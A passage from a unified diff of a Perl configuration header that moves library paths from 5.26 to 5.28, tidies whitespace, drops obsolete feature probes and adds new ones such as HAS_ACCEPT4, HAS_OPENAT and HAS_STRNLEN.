+ *	or multiarch support, Configure will set a minimum of 8.
  */
 #define MEM_ALIGNBYTES 4
 
@@ -1052,7 +926,7 @@
  *	the GNU C library is being used.  A better check is to use
  *	the __GLIBC__ and __GLIBC_MINOR__ symbols supplied with glibc.
  */
-/*#define HAS_GNULIBC  	/ **/
+/*#define HAS_GNULIBC	/ **/
 #if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE)
 #   define _GNU_SOURCE
 #endif
@@ -1076,29 +950,6 @@
  */
 /*#define HAS_OPEN3		/ **/
 
-/* HAS_SAFE_BCOPY:
- *	This symbol, if defined, indicates that the bcopy routine is available
- *	to copy potentially overlapping memory blocks. Normally, you should
- *	probably use memmove() or memcpy(). If neither is defined, roll your
- *	own version.
- */
-/*#define HAS_SAFE_BCOPY	/ **/
-
-/* HAS_SAFE_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy potentially overlapping memory blocks.  If you need to
- *	copy overlapping memory blocks, you should check HAS_MEMMOVE and
- *	use memmove() instead, if available.
- */
-/*#define HAS_SAFE_MEMCPY	/ **/
-
-/* HAS_SANE_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	and can be used to compare relative magnitudes of chars with their high
- *	bits set.  If it is not defined, roll your own version.
- */
-/*#define HAS_SANE_MEMCMP	/ **/
-
 /* HAS_SIGACTION:
  *	This symbol, if defined, indicates that Vr4's sigaction() routine
  *	is available.
@@ -1227,12 +1078,12 @@
  *	This symbol is defined if using the FILE_ptr macro as an lvalue
  *	to increase the pointer by n leaves File_cnt(fp) unchanged.
  */
-/*#define USE_STDIO_PTR 	/ **/
+/*#define USE_STDIO_PTR	/ **/
 #ifdef USE_STDIO_PTR
 #define FILE_ptr(fp)	((fp)->_IO_read_ptr)
-/*#define STDIO_PTR_LVALUE 		/ **/
+/*#define STDIO_PTR_LVALUE		/ **/
 #define FILE_cnt(fp)	((fp)->_IO_read_end - (fp)->_IO_read_ptr)
-/*#define STDIO_CNT_LVALUE 		/ **/
+/*#define STDIO_CNT_LVALUE		/ **/
 /*#define STDIO_PTR_LVAL_SETS_CNT	/ **/
 /*#define STDIO_PTR_LVAL_NOCHANGE_CNT	/ **/
 #endif
@@ -1257,26 +1108,12 @@
  *	structure pointed to its argument. This macro will always be defined
  *	if USE_STDIO_BASE is defined.
  */
-/*#define USE_STDIO_BASE 	/ **/
+/*#define USE_STDIO_BASE	/ **/
 #ifdef USE_STDIO_BASE
 #define FILE_base(fp)	((fp)->_IO_read_base)
 #define FILE_bufsiz(fp)	((fp)->_IO_read_end - (fp)->_IO_read_base)
 #endif
 
-/* HAS_VPRINTF:
- *	This symbol, if defined, indicates that the vprintf routine is available
- *	to printf with a pointer to an argument list.  If unavailable, you
- *	may need to write your own, probably in terms of _doprnt().
- */
-/* USE_CHAR_VSPRINTF:
- *	This symbol is defined if this system has vsprintf() returning type
- *	(char*).  The trend seems to be to declare it as "int vsprintf()".  It
- *	is up to the package author to declare vsprintf correctly based on the
- *	symbol.
- */
-#define HAS_VPRINTF	/**/
-/*#define USE_CHAR_VSPRINTF 	/ **/
-
 /* DOUBLESIZE:
  *	This symbol contains the size of a double, so that the C preprocessor
  *	can make decisions based on it.
@@ -1284,8 +1121,8 @@
 #define DOUBLESIZE 8		/**/
 
 /* I_TIME:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <time.h>.
+ *	This symbol is always defined, and indicates to the C program that
+ *	it should include <time.h>.
  */
 /* I_SYS_TIME:
  *	This symbol, if defined, indicates to the C program that it should
@@ -1377,13 +1214,13 @@
  *	to get any typedef'ed information.
  *	We will pick a type such that sizeof(SSize_t) == sizeof(Size_t).
  */
-#define SSize_t int	 /* signed count of bytes */
+#define SSize_t int	/* signed count of bytes */
 
 /* EBCDIC:
  *	This symbol, if defined, indicates that this system uses
  *	EBCDIC encoding.
  */
-/*#define	EBCDIC 		/ **/
+/*#define	EBCDIC		/ **/
 
 /* ARCHLIB:
  *	This variable, if defined, holds the name of the directory in
@@ -1398,8 +1235,8 @@
  *	This symbol contains the ~name expanded version of ARCHLIB, to be used
  *	in programs that are not prepared to deal with ~ expansion at run-time.
  */
-/*#define ARCHLIB "/usr/local/lib/perl5/5.26/unknown"		/ **/
-/*#define ARCHLIB_EXP "/usr/local/lib/perl5/5.26/unknown"		/ **/
+/*#define ARCHLIB "/usr/local/lib/perl5/5.28/unknown"		/ **/
+/*#define ARCHLIB_EXP "/usr/local/lib/perl5/5.28/unknown"		/ **/
 
 /* BIN:
  *	This symbol holds the path of the bin directory where the package will
@@ -1415,7 +1252,7 @@
  */
 #define BIN "/usr/local/bin"	/**/
 #define BIN_EXP "/usr/local/bin"	/**/
-#define PERL_RELOCATABLE_INC "undef" 		/**/
+#define PERL_RELOCATABLE_INC "undef"		/**/
 
 /* PERL_INC_VERSION_LIST:
  *	This variable specifies the list of subdirectories in over
@@ -1428,7 +1265,7 @@
 
 /* INSTALL_USR_BIN_PERL:
  *	This symbol, if defined, indicates that Perl is to be installed
- * 	also as /usr/bin/perl.
+ *	also as /usr/bin/perl.
  */
 /*#define INSTALL_USR_BIN_PERL	/ **/
 
@@ -1452,8 +1289,8 @@
  *	This symbol contains the ~name expanded version of PRIVLIB, to be used
  *	in programs that are not prepared to deal with ~ expansion at run-time.
  */
-#define PRIVLIB "/usr/local/lib/perl5/5.26"		/**/
-#define PRIVLIB_EXP "/usr/local/lib/perl5/5.26"		/**/
+#define PRIVLIB "/usr/local/lib/perl5/5.28"		/**/
+#define PRIVLIB_EXP "/usr/local/lib/perl5/5.28"		/**/
 
 /* SITEARCH:
  *	This symbol contains the name of the private library for this package.
@@ -1470,8 +1307,8 @@
  *	This symbol contains the ~name expanded version of SITEARCH, to be used
  *	in programs that are not prepared to deal with ~ expansion at run-time.
  */
-/*#define SITEARCH "/usr/local/lib/perl5/5.26/unknown"		/ **/
-/*#define SITEARCH_EXP "/usr/local/lib/perl5/5.26/unknown"		/ **/
+/*#define SITEARCH "/usr/local/lib/perl5/5.28/unknown"		/ **/
+/*#define SITEARCH_EXP "/usr/local/lib/perl5/5.28/unknown"		/ **/
 
 /* SITELIB:
  *	This symbol contains the name of the private library for this package.
@@ -1493,8 +1330,8 @@
  *	removed.  The elements in inc_version_list (inc_version_list.U) can
  *	be tacked onto this variable to generate a list of directories to search.
  */
-#define SITELIB "/usr/local/lib/perl5/5.26"		/**/
-#define SITELIB_EXP "/usr/local/lib/perl5/5.26"		/**/
+#define SITELIB "/usr/local/lib/perl5/5.28"		/**/
+#define SITELIB_EXP "/usr/local/lib/perl5/5.28"		/**/
 #define SITELIB_STEM "/usr/local/lib/perl5"		/**/
 
 /* PERL_VENDORARCH:
@@ -1564,7 +1401,7 @@
 /* CPPSTDIN:
  *	This symbol contains the first part of the string which will invoke
  *	the C preprocessor on the standard input and produce to standard
- *	output.	 Typical value of "cc -E" or "/lib/cpp", but it can also
+ *	output.  Typical value of "cc -E" or "/lib/cpp", but it can also
  *	call a wrapper. See CPPRUN.
  */
 /* CPPMINUS:
@@ -1973,12 +1810,6 @@
 #define LONGLONGSIZE 8		/**/
 #endif
 
-/* HAS_MEMCHR:
- *	This symbol, if defined, indicates that the memchr routine is available
- *	to locate characters within a C string.
- */
-#define HAS_MEMCHR	/**/
-
 /* HAS_MKSTEMP:
  *	This symbol, if defined, indicates that the mkstemp routine is
  *	available to exclusively create and open a uniquely named
@@ -1998,18 +1829,6 @@
 /*#define HAS_MMAP		/ **/
 #define Mmap_t void *	/**/
 
-/* HAS_MSG:
- *	This symbol, if defined, indicates that the entire msg*(2) library is
- *	supported (IPC mechanism based on message queues).
- */
-/*#define HAS_MSG		/ **/
-
-/* HAS_SEM:
- *	This symbol, if defined, indicates that the entire sem*(2) library is
- *	supported.
- */
-/*#define HAS_SEM		/ **/
-
 /* HAS_SETGRENT:
  *	This symbol, if defined, indicates that the setgrent routine is
  *	available for initializing sequential access of the group database.
@@ -2137,34 +1956,15 @@
  *	st_blksize and st_blocks.
  */
 #ifndef USE_STAT_BLOCKS
-/*#define USE_STAT_BLOCKS 	/ **/
+/*#define USE_STAT_BLOCKS	/ **/
 #endif
 
-/* USE_STRUCT_COPY:
- *	This symbol, if defined, indicates that this C compiler knows how
- *	to copy structures.  If undefined, you'll need to use a block copy
- *	routine of some sort instead.
- */
-/*#define	USE_STRUCT_COPY	/ **/
-
-/* HAS_STRERROR:
- *	This symbol, if defined, indicates that the strerror routine is
- *	available to translate error numbers to strings. See the writeup
- *	of Strerror() in this file before you try to define your own.
- */
 /* HAS_SYS_ERRLIST:
  *	This symbol, if defined, indicates that the sys_errlist array is
  *	available to translate error numbers to strings. The extern int
  *	sys_nerr gives the size of that table.
  */
-/* Strerror:
- *	This preprocessor symbol is defined as a macro if strerror() is
- *	not available to translate error numbers to strings but sys_errlist[]
- *	array is there.
- */
-/*#define HAS_STRERROR		/ **/
 /*#define HAS_SYS_ERRLIST	/ **/
-#define Strerror(e) strerror(e)
 
 /* HAS_STRTOUL:
  *	This symbol, if defined, indicates that the strtoul routine is
@@ -2213,15 +2013,6 @@
  */
 #define Signal_t int	/* Signal handler's return type */
 
-/* HASVOLATILE:
- *	This symbol, if defined, indicates that this C compiler knows about
- *	the volatile declaration.
- */
-/*#define	HASVOLATILE	/ **/
-#ifndef HASVOLATILE
-#define volatile
-#endif
-
 /* I_DIRENT:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <dirent.h>. Using this symbol also triggers the definition
@@ -2382,20 +2173,9 @@
 /*#define I_TERMIOS		/ **/
 /*#define I_SGTTY		/ **/
 
-/* I_STDARG:
- *	This symbol, if defined, indicates that <stdarg.h> exists and should
- *	be included.
- */
-/* I_VARARGS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <varargs.h>.
- */
-#define I_STDARG		/**/
-/*#define I_VARARGS	/ **/
-
 /* Free_t:
  *	This variable contains the return type of free().  It is usually
- * void, but occasionally int.
+ *	void, but occasionally int.
  */
 /* Malloc_t:
  *	This symbol is the type of pointer returned by malloc and realloc.
@@ -2413,24 +2193,6 @@
  */
 /*#define MYMALLOC			/ **/
 
-/* CAN_PROTOTYPE:
- *	If defined, this macro indicates that the C compiler can handle
- *	function prototypes.
- */
-/* _:
- *	This macro is used to declare function parameters for folks who want
- *	to make declarations with prototypes using a different style than
- *	the above macros.  Use double parentheses.  For example:
- *
- *		int main _((int argc, char *argv[]));
- */
-/*#define	CAN_PROTOTYPE	/ **/
-#ifdef CAN_PROTOTYPE
-#define	_(args) args
-#else
-#define	_(args) ()
-#endif
-
 /* SH_PATH:
  *	This symbol contains the full pathname to the shell used on this
  *	on this system to execute Bourne shell scripts.  Usually, this will be
@@ -2517,6 +2279,12 @@
  */
 /*#define HAS__FWALK		/ **/
 
+/* HAS_ACCEPT4:
+ *	This symbol, if defined, indicates that the accept4 routine is
+ *	available to accept socket connections.
+ */
+/*#define HAS_ACCEPT4	/ **/
+
 /* HAS_ACOSH:
  *	This symbol, if defined, indicates that the acosh routine is
  *	available to do the inverse hyperbolic cosine function.
@@ -2551,6 +2319,22 @@
 /*#define HAS_BUILTIN_EXPECT	/ **/
 /*#define HAS_BUILTIN_CHOOSE_EXPR	/ **/
 
+/* HAS_BUILTIN_ADD_OVERFLOW:
+ *	This symbol, if defined, indicates that the compiler supports
+ *	__builtin_add_overflow for adding integers with overflow checks.
+ */
+/* HAS_BUILTIN_SUB_OVERFLOW:
+ *	This symbol, if defined, indicates that the compiler supports
+ *	__builtin_sub_overflow for subtracting integers with overflow checks.
+ */
+/* HAS_BUILTIN_MUL_OVERFLOW:
+ *	This symbol, if defined, indicates that the compiler supports
+ *	__builtin_mul_overflow for multiplying integers with overflow checks.
+ */
+/*#define HAS_BUILTIN_ADD_OVERFLOW	/ **/
+/*#define HAS_BUILTIN_SUB_OVERFLOW	/ **/
+/*#define HAS_BUILTIN_MUL_OVERFLOW	/ **/
+
 /* HAS_C99_VARIADIC_MACROS:
  *	If defined, the compiler supports C99 variadic macros.
  */
@@ -2630,8 +2414,14 @@
  *	makes sense if you *have* dlsym, which we will presume is the
  *	case if you're using dl_dlopen.xs.
  */
-/*#define 	DLSYM_NEEDS_UNDERSCORE 	/ **/
+/*#define	DLSYM_NEEDS_UNDERSCORE	/ **/
 
+/* HAS_DUP3:
+ *	This symbol, if defined, indicates that the dup3 routine is
+ *	available to duplicate file descriptors.
+ */
+/*#define HAS_DUP3	/ **/
+
 /* HAS_ERF:
  *	This symbol, if defined, indicates that the erf routine is
  *	available to do the error function.
@@ -2782,11 +2572,11 @@
  *	available to classify doubles.  Available for example in HP-UX.
  *	The returned values are defined in <math.h> and are
  *
- *           FP_NORMAL     Normalized
- *           FP_ZERO       Zero
- *           FP_INFINITE   Infinity
- *           FP_SUBNORMAL  Denormalized
- *           FP_NAN        NaN
+ *	  FP_NORMAL     Normalized
+ *	  FP_ZERO       Zero
+ *	  FP_INFINITE   Infinity
+ *	  FP_SUBNORMAL  Denormalized
+ *	  FP_NAN        NaN
  *
  */
 /* HAS_FP_CLASSIFY:
@@ -2793,11 +2583,11 @@
  *	This symbol, if defined, indicates that the fp_classify routine is
  *	available to classify doubles. The values are defined in <math.h>
  *
- *           FP_NORMAL     Normalized
- *           FP_ZERO       Zero
- *           FP_INFINITE   Infinity
- *           FP_SUBNORMAL  Denormalized
- *           FP_NAN        NaN
+ *	  FP_NORMAL     Normalized
+ *	  FP_ZERO       Zero
+ *	  FP_INFINITE   Infinity
+ *	  FP_SUBNORMAL  Denormalized
+ *	  FP_NAN        NaN
  *
  */
 /*#define	HAS_FPCLASSIFY		/ **/
@@ -2830,7 +2620,7 @@
 /* HAS_FPOS64_T:
  *	This symbol will be defined if the C compiler supports fpos64_t.
  */
-/*#define	HAS_FPOS64_T    	/ **/
+/*#define	HAS_FPOS64_T	/ **/
 
 /* HAS_FREXPL:
  *	This symbol, if defined, indicates that the frexpl routine is
@@ -2845,6 +2635,27 @@
  */
 /*#define HAS_STRUCT_FS_DATA	/ **/
 
+/* HAS_FCHMODAT:
+ *	This symbol is defined if the fchmodat() routine is available.
+ */
+/* HAS_LINKAT:
+ *	This symbol is defined if the linkat() routine is available.
+ */
+/* HAS_OPENAT:
+ *	This symbol is defined if the openat() routine is available.
+ */
+/* HAS_RENAMEAT:
+ *	This symbol is defined if the renameat() routine is available.
+ */
+/* HAS_UNLINKAT:
+ *	This symbol is defined if the unlinkat() routine is available.
+ */
+/*#define	HAS_FCHMODAT	/ **/
+/*#define	HAS_LINKAT	/ **/
+/*#define	HAS_OPENAT	/ **/
+/*#define	HAS_RENAMEAT	/ **/
+/*#define	HAS_UNLINKAT	/ **/
+
 /* HAS_FSEEKO:
  *	This symbol, if defined, indicates that the fseeko routine is
  *	available to fseek beyond 32 bits (useful for ILP32 hosts).
@@ -2980,8 +2791,8 @@
 /*#define HAS_INETPTON		/ **/
 
 /* HAS_INT64_T:
- *     This symbol will defined if the C compiler supports int64_t.
- *     Usually the <inttypes.h> needs to be included, but sometimes
+ *	This symbol will defined if the C compiler supports int64_t.
+ *	Usually the <inttypes.h> needs to be included, but sometimes
  *	<sys/types.h> is enough.
  */
 /*#define     HAS_INT64_T               / **/
@@ -3066,7 +2877,7 @@
  *	of significant digits in a long double precision number. Unlike
  *	for DBL_DIG, there's no good guess for LDBL_DIG if it is undefined.
  */
-/*#define HAS_LDBL_DIG 	/ * */
+/*#define HAS_LDBL_DIG	/ * */
 
 /* HAS_LGAMMA:
  *	This symbol, if defined, indicates that the lgamma routine is
@@ -3185,6 +2996,13 @@
  */
 /*#define HAS_MEMMEM		/ **/
 
+/* HAS_MEMRCHR:
+ *	This symbol, if defined, indicates that the memrchr routine is
+ *	available to return a pointer to the last occurrence of a byte in
+ *	a memory area (or NULL if not found).
+ */
+/*#define HAS_MEMRCHR		/ **/
+
 /* HAS_MKDTEMP:
  *	This symbol, if defined, indicates that the mkdtemp routine is
  *	available to exclusively create a uniquely named temporary directory.
@@ -3191,6 +3009,13 @@
  */
 /*#define HAS_MKDTEMP		/ **/
 
+/* HAS_MKOSTEMP:
+ *	This symbol, if defined, indicates that the mkostemp routine is
+ *	available to exclusively create and open a uniquely named (with a
+ *	suffix) temporary file.
+ */
+/*#define HAS_MKOSTEMP	/ **/
+
 /* HAS_MKSTEMPS:
  *	This symbol, if defined, indicates that the mkstemps routine is
  *	available to exclusively create and open a uniquely named
@@ -3229,6 +3054,12 @@
  */
 /*#define HAS_NAN		/ **/
 
+/* HAS_NANOSLEEP:
+ *	This symbol, if defined, indicates that the nanosleep
+ *	system call is available to sleep with 1E-9 sec accuracy.
+ */
+/*#define HAS_NANOSLEEP		/ **/
+
 /* HAS_NEARBYINT:
  *	This symbol, if defined, indicates that the nearbyint routine is
  *	available to return the integral value closest to (according to
@@ -3249,6 +3080,10 @@
  *	This symbol, if defined, indicates that the uselocale routine is
  *	available to set the current locale for the calling thread.
  */
+/* HAS_DUPLOCALE:
+ *	This symbol, if defined, indicates that the duplocale routine is
+ *	available to duplicate a locale object.
+ */
 /* HAS_QUERYLOCALE:
  *	This symbol, if defined, indicates that the querylocale routine is
  *	available to return the name of the locale for a category mask.
@@ -3260,6 +3095,7 @@
 /*#define	HAS_NEWLOCALE	/ **/
 /*#define	HAS_FREELOCALE	/ **/
 /*#define	HAS_USELOCALE	/ **/
+/*#define	HAS_DUPLOCALE	/ **/
 /*#define	HAS_QUERYLOCALE	/ **/
 /*#define	I_XLOCALE               / **/
 
@@ -3287,8 +3123,14 @@
 /* HAS_OFF64_T:
  *	This symbol will be defined if the C compiler supports off64_t.
  */
-/*#define	HAS_OFF64_T    		/ **/
+/*#define	HAS_OFF64_T		/ **/
 
+/* HAS_PIPE2:
+ *	This symbol, if defined, indicates that the pipe2 routine is
+ *	available to create an inter-process channel.
+ */
+/*#define HAS_PIPE2		/ **/
+
 /* HAS_PRCTL:
  *	This symbol, if defined, indicates that the prctl routine is
  *	available to set process title.
@@ -3326,7 +3168,7 @@
 /* HAS_PTRDIFF_T:
  *	This symbol will be defined if the C compiler supports ptrdiff_t.
  */
-#define	HAS_PTRDIFF_T    		/**/
+#define	HAS_PTRDIFF_T		/**/
 
 /* HAS_READV:
  *	This symbol, if defined, indicates that the readv routine is
@@ -3462,14 +3304,6 @@
  */
 /*#define HAS_SOCKS5_INIT		/ **/
 
-/* SPRINTF_RETURNS_STRLEN:
- *	This variable defines whether sprintf returns the length of the string
- *	(as per the ANSI spec). Some C libraries retain compatibility with
- *	pre-ANSI C and return a pointer to the passed in buffer; for these
- *	this variable will be undef.
- */
-/*#define SPRINTF_RETURNS_STRLEN	/ **/
-
 /* HAS_SQRTL:
  *	This symbol, if defined, indicates that the sqrtl routine is
  *	available to do long double square roots.
@@ -3540,6 +3374,12 @@
  */
 /*#define HAS_STRLCPY		/ **/
 
+/* HAS_STRNLEN:
+ *	This symbol, if defined, indicates that the strnlen () routine is
+ *	available to check the length of a string up to a maximum.
+ */
+/*#define HAS_STRNLEN		/ **/
+
 /* HAS_STRTOLD:
  *	This symbol, if defined, indicates that the strtold routine is
  *	available to convert strings to long doubles.
@@ -3726,15 +3566,9 @@
  *	Note that if fflushNULL is defined, fflushall will not
  *	even be probed for and will be left undefined.
  */
-/*#define	FFLUSH_NULL 		/ **/
-/*#define	FFLUSH_ALL 		/ **/
+/*#define	FFLUSH_NULL		/ **/
+/*#define	FFLUSH_ALL		/ **/
 
-/* I_ASSERT:
- *	This symbol, if defined, indicates that <assert.h> exists and
- *	could be included by the C program to get the assert() macro.
- */
-#define	I_ASSERT		/**/
-
 /* I_BFD:
  *	This symbol, if defined, indicates that <bfd.h> exists and
  *	can be included.
@@ -3772,10 +3606,10 @@
  *	For DB version 1 this is always 0.
  */
 #define DB_Hash_t	u_int32_t		/**/
-#define DB_Prefix_t	size_t  	/**/
-#define DB_VERSION_MAJOR_CFG	0  	/**/
-#define DB_VERSION_MINOR_CFG	0  	/**/
-#define DB_VERSION_PATCH_CFG	0  	/**/
+#define DB_Prefix_t	size_t		/**/
+#define DB_VERSION_MAJOR_CFG	0	/**/
+#define DB_VERSION_MINOR_CFG	0	/**/
+#define DB_VERSION_PATCH_CFG	0	/**/
 
 /* I_FENV:
  *	This symbol, if defined, indicates to the C program that it should
@@ -3802,8 +3636,8 @@
 /*#define	I_IEEEFP		/ **/
 
 /* I_INTTYPES:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <inttypes.h>.
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <inttypes.h>.
  */
 /*#define   I_INTTYPES                / **/
 
@@ -3832,8 +3666,8 @@
 /*#define	I_MNTENT		/ **/
 
 /* I_NETINET_TCP:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <netinet/tcp.h>.
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <netinet/tcp.h>.
  */
 /*#define   I_NETINET_TCP                / **/
 
@@ -3932,6 +3766,12 @@
  */
 /*#define	I_USTAT		/ **/
 
+/* I_WCHAR:
+ *	This symbol, if defined, indicates to the C program that <wchar.h>
+ *	is available for inclusion
+ */
+/*#define   I_WCHAR	/ **/
+
 /* DOUBLEINFBYTES:
  *	This symbol, if defined, is a comma-separated list of
  *	hexadecimal bytes for the double precision infinity.
@@ -4200,7 +4040,7 @@
 #define	NVSIZE		8		/**/
 #undef	NV_PRESERVES_UV
 #define	NV_PRESERVES_UV_BITS	0
-#define	NV_OVERFLOWS_INTEGERS_AT	256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0
+#define	NV_OVERFLOWS_INTEGERS_AT	(256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0)
 #undef	NV_ZERO_IS_ALLBITS_ZERO
 #if UVSIZE == 8
 #   ifdef BYTEORDER
@@ -4264,7 +4104,7 @@
  *	is either n or 32*ceil(n/32), especially many little-endians do
  *	the latter.  This is only useful if you have select(), naturally.
  */
-#define SELECT_MIN_BITS 	32	/**/
+#define SELECT_MIN_BITS	32	/**/
 
 /* ST_INO_SIZE:
  *	This variable contains the size of struct stat's st_ino in bytes.
@@ -4366,7 +4206,7 @@
 /* USE_KERN_PROC_PATHNAME:
  *	This symbol, if defined, indicates that we can use sysctl with
  *	KERN_PROC_PATHNAME to get a full path for the executable, and hence
- * 	convert $^X to an absolute path.
+ *	convert $^X to an absolute path.
  */
 /*#define USE_KERN_PROC_PATHNAME	/ **/
 
@@ -4509,7 +4349,7 @@
  *	is defined, and 'int *' otherwise.  This is only useful if you
  *	have select(), of course.
  */
-#define Select_fd_set_t 	int	/**/
+#define Select_fd_set_t	int	/**/
 
 /* Sock_size_t:
  *	This symbol holds the type used for the size argument of
@@ -4535,8 +4375,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_asctime_r
  *	is defined.
  */
-/*#define HAS_ASCTIME_R	   / **/
-#define ASCTIME_R_PROTO 0	   /**/
+/*#define HAS_ASCTIME_R	/ **/
+#define ASCTIME_R_PROTO 0	/**/
 
 /* HAS_CRYPT_R:
  *	This symbol, if defined, indicates that the crypt_r routine
@@ -4548,8 +4388,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_crypt_r
  *	is defined.
  */
-/*#define HAS_CRYPT_R	   / **/
-#define CRYPT_R_PROTO 0	   /**/
+/*#define HAS_CRYPT_R	/ **/
+#define CRYPT_R_PROTO 0	/**/
 
 /* HAS_CTERMID_R:
  *	This symbol, if defined, indicates that the ctermid_r routine
@@ -4561,8 +4401,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctermid_r
  *	is defined.
  */
-/*#define HAS_CTERMID_R	   / **/
-#define CTERMID_R_PROTO 0	   /**/
+/*#define HAS_CTERMID_R	/ **/
+#define CTERMID_R_PROTO 0	/**/
 
 /* HAS_CTIME_R:
  *	This symbol, if defined, indicates that the ctime_r routine
@@ -4574,8 +4414,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctime_r
  *	is defined.
  */
-/*#define HAS_CTIME_R	   / **/
-#define CTIME_R_PROTO 0	   /**/
+/*#define HAS_CTIME_R	/ **/
+#define CTIME_R_PROTO 0	/**/
 
 /* HAS_DRAND48_R:
  *	This symbol, if defined, indicates that the drand48_r routine
@@ -4587,8 +4427,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_drand48_r
  *	is defined.
  */
-/*#define HAS_DRAND48_R	   / **/
-#define DRAND48_R_PROTO 0	   /**/
+/*#define HAS_DRAND48_R	/ **/
+#define DRAND48_R_PROTO 0	/**/
 
 /* HAS_ENDGRENT_R:
  *	This symbol, if defined, indicates that the endgrent_r routine
@@ -4600,8 +4440,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endgrent_r
  *	is defined.
  */
-/*#define HAS_ENDGRENT_R	   / **/
-#define ENDGRENT_R_PROTO 0	   /**/
+/*#define HAS_ENDGRENT_R	/ **/
+#define ENDGRENT_R_PROTO 0	/**/
 
 /* HAS_ENDHOSTENT_R:
  *	This symbol, if defined, indicates that the endhostent_r routine
@@ -4613,8 +4453,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endhostent_r
  *	is defined.
  */
-/*#define HAS_ENDHOSTENT_R	   / **/
-#define ENDHOSTENT_R_PROTO 0	   /**/
+/*#define HAS_ENDHOSTENT_R	/ **/
+#define ENDHOSTENT_R_PROTO 0	/**/
 
 /* HAS_ENDNETENT_R:
  *	This symbol, if defined, indicates that the endnetent_r routine
@@ -4626,8 +4466,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endnetent_r
  *	is defined.
  */
-/*#define HAS_ENDNETENT_R	   / **/
-#define ENDNETENT_R_PROTO 0	   /**/
+/*#define HAS_ENDNETENT_R	/ **/
+#define ENDNETENT_R_PROTO 0	/**/
 
 /* HAS_ENDPROTOENT_R:
  *	This symbol, if defined, indicates that the endprotoent_r routine
@@ -4639,8 +4479,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endprotoent_r
  *	is defined.
  */
-/*#define HAS_ENDPROTOENT_R	   / **/
-#define ENDPROTOENT_R_PROTO 0	   /**/
+/*#define HAS_ENDPROTOENT_R	/ **/
+#define ENDPROTOENT_R_PROTO 0	/**/
 
 /* HAS_ENDPWENT_R:
  *	This symbol, if defined, indicates that the endpwent_r routine
@@ -4652,8 +4492,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endpwent_r
  *	is defined.
  */
-/*#define HAS_ENDPWENT_R	   / **/
-#define ENDPWENT_R_PROTO 0	   /**/
+/*#define HAS_ENDPWENT_R	/ **/
+#define ENDPWENT_R_PROTO 0	/**/
 
 /* HAS_ENDSERVENT_R:
  *	This symbol, if defined, indicates that the endservent_r routine
@@ -4665,8 +4505,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endservent_r
  *	is defined.
  */
-/*#define HAS_ENDSERVENT_R	   / **/
-#define ENDSERVENT_R_PROTO 0	   /**/
+/*#define HAS_ENDSERVENT_R	/ **/
+#define ENDSERVENT_R_PROTO 0	/**/
 
 /* HAS_GETGRENT_R:
  *	This symbol, if defined, indicates that the getgrent_r routine
@@ -4678,8 +4518,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrent_r
  *	is defined.
  */
-/*#define HAS_GETGRENT_R	   / **/
-#define GETGRENT_R_PROTO 0	   /**/
+/*#define HAS_GETGRENT_R	/ **/
+#define GETGRENT_R_PROTO 0	/**/
 
 /* HAS_GETGRGID_R:
  *	This symbol, if defined, indicates that the getgrgid_r routine
@@ -4691,8 +4531,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrgid_r
  *	is defined.
  */
-/*#define HAS_GETGRGID_R	   / **/
-#define GETGRGID_R_PROTO 0	   /**/
+/*#define HAS_GETGRGID_R	/ **/
+#define GETGRGID_R_PROTO 0	/**/
 
 /* HAS_GETGRNAM_R:
  *	This symbol, if defined, indicates that the getgrnam_r routine
@@ -4704,8 +4544,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrnam_r
  *	is defined.
  */
-/*#define HAS_GETGRNAM_R	   / **/
-#define GETGRNAM_R_PROTO 0	   /**/
+/*#define HAS_GETGRNAM_R	/ **/
+#define GETGRNAM_R_PROTO 0	/**/
 
 /* HAS_GETHOSTBYADDR_R:
  *	This symbol, if defined, indicates that the gethostbyaddr_r routine
@@ -4717,8 +4557,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyaddr_r
  *	is defined.
  */
-/*#define HAS_GETHOSTBYADDR_R	   / **/
-#define GETHOSTBYADDR_R_PROTO 0	   /**/
+/*#define HAS_GETHOSTBYADDR_R	/ **/
+#define GETHOSTBYADDR_R_PROTO 0	/**/
 
 /* HAS_GETHOSTBYNAME_R:
  *	This symbol, if defined, indicates that the gethostbyname_r routine
@@ -4730,8 +4570,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyname_r
  *	is defined.
  */
-/*#define HAS_GETHOSTBYNAME_R	   / **/
-#define GETHOSTBYNAME_R_PROTO 0	   /**/
+/*#define HAS_GETHOSTBYNAME_R	/ **/
+#define GETHOSTBYNAME_R_PROTO 0	/**/
 
 /* HAS_GETHOSTENT_R:
  *	This symbol, if defined, indicates that the gethostent_r routine
@@ -4743,8 +4583,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostent_r
  *	is defined.
  */
-/*#define HAS_GETHOSTENT_R	   / **/
-#define GETHOSTENT_R_PROTO 0	   /**/
+/*#define HAS_GETHOSTENT_R	/ **/
+#define GETHOSTENT_R_PROTO 0	/**/
 
 /* HAS_GETLOGIN_R:
